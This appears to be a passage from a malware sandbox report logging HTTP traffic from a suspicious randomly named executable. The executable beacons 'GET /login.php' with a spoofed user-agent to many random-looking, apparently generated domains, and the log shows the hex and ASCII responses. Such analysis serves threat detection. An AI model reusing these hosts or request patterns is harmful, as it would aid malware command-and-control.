                                                                                                                                                                                                          Nov 11, 2024 18:13:48.304662943 CET1236INData Raw: 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 7c 7c 77 69 6e 64 6f 77 5b 61 5d 21 3d 3d 6e 75 6c 6c 29 29 29 7b 77 69 6e 64 6f 77 5b
                                                                                                                                                                                                          Data Ascii: ndow[a])!=="object"&&(typeof(window[a])==="undefined"||window[a]!==null))){window[a]=window.cmp_stub;window[a].msgHandler=window.cmp_msghandler;window.addEventListener("message",window.cmp_msghandler,false)}};window.cmp_setGppStub=function(a){


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          69192.168.2.65914085.17.31.82804180C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:46.136781931 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyfus.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          70192.168.2.659144199.59.243.22780
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.634289026 CET305OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vojyqem.com
                                                                                                                                                                                                          Cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.094137907 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:47 GMT
                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                          content-length: 1094
                                                                                                                                                                                                          x-request-id: 92711589-b7f8-44fe-9eac-bb06f1a1a90c
                                                                                                                                                                                                          cache-control: no-store, max-age=0
                                                                                                                                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==
                                                                                                                                                                                                          set-cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da; expires=Mon, 11 Nov 2024 17:28:48 GMT
                                                                                                                                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.094166994 CET520INData Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65
                                                                                                                                                                                                          Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZmY0YTM5M2UtMWE2MS00NTQzLTkyYjItOGRkOGNhNjUzNGRhIiwicGFnZV90aW1lIjoxNzMxMzQ1MjI4LCJwYWdlX3VybCI6Imh0dHA6L


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          71192.168.2.659147154.212.231.8280936C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.638308048 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyniw.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.550821066 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:48 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 548
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          72192.168.2.65914844.221.84.10580936C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.638638020 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qetyfuv.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345224|1731345181|21|2|0
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.095720053 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:48 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345228|1731345181|12|3|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          73192.168.2.659146188.114.97.380936C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.639712095 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.353534937 CET966INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:48 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DilcLZ%2Fbytm7f3tuIWGJFC8asQbCf2laNeCng9CRUMToQjqrtxRxFYQuhzAfgfB5g4YJbcSfoZdfVIC7xbAL%2BV2GuT75j28m78nNah6dZ7g4VgGXrXpdDbdXfcx2Tg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fea3b4d1543cb-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1934&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          74192.168.2.65914523.253.46.6480936C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.640121937 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gahyqah.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.122313976 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Server: Microsoft-IIS/7.5
                                                                                                                                                                                                          X-Powered-By: ASP.NET
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:42 GMT
                                                                                                                                                                                                          Content-Length: 1245
                                                                                                                                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.122374058 CET169INData Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67
                                                                                                                                                                                                          Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          75192.168.2.65914975.2.71.19980936C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.646869898 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.096736908 CET166INHTTP/1.1 308 Permanent Redirect
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Location: https://puzylyp.com/login.php
                                                                                                                                                                                                          Server: Caddy
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:48 GMT
                                                                                                                                                                                                          Content-Length: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          76192.168.2.65914344.221.84.10580936C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.659254074 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vocyzit.com
                                                                                                                                                                                                          Cookie: snkz=66.23.206.109; btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345224|1731345181|12|3|0
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.094588041 CET334INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:48 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=97471f70b05d0f64af71004a8ad4014f|66.23.206.109|1731345228|1731345181|8|4|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          77192.168.2.659150208.100.26.24580
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:47.667139053 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyvyxor.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:48.120119095 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:48 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 580
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          78192.168.2.65915385.17.31.8280
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.822135925 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyfus.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          79192.168.2.659154188.114.97.380
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:49.822596073 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:50.502840042 CET970INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:50 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hyjsAmaCXLjqpiNBHuoYIAr%2FIA2tYXGhDuX%2BVVx1g7YJz9v4UfbRqi9fhcOoOIoMSFgKJJRF3cLbKcJs2UBjG%2FuD9KGEiAc%2BlGZNiu0IH8WdPC03nm83WHzy8LS94g%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fea48beca41ac-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1192&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          80192.168.2.659155199.59.243.22780
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
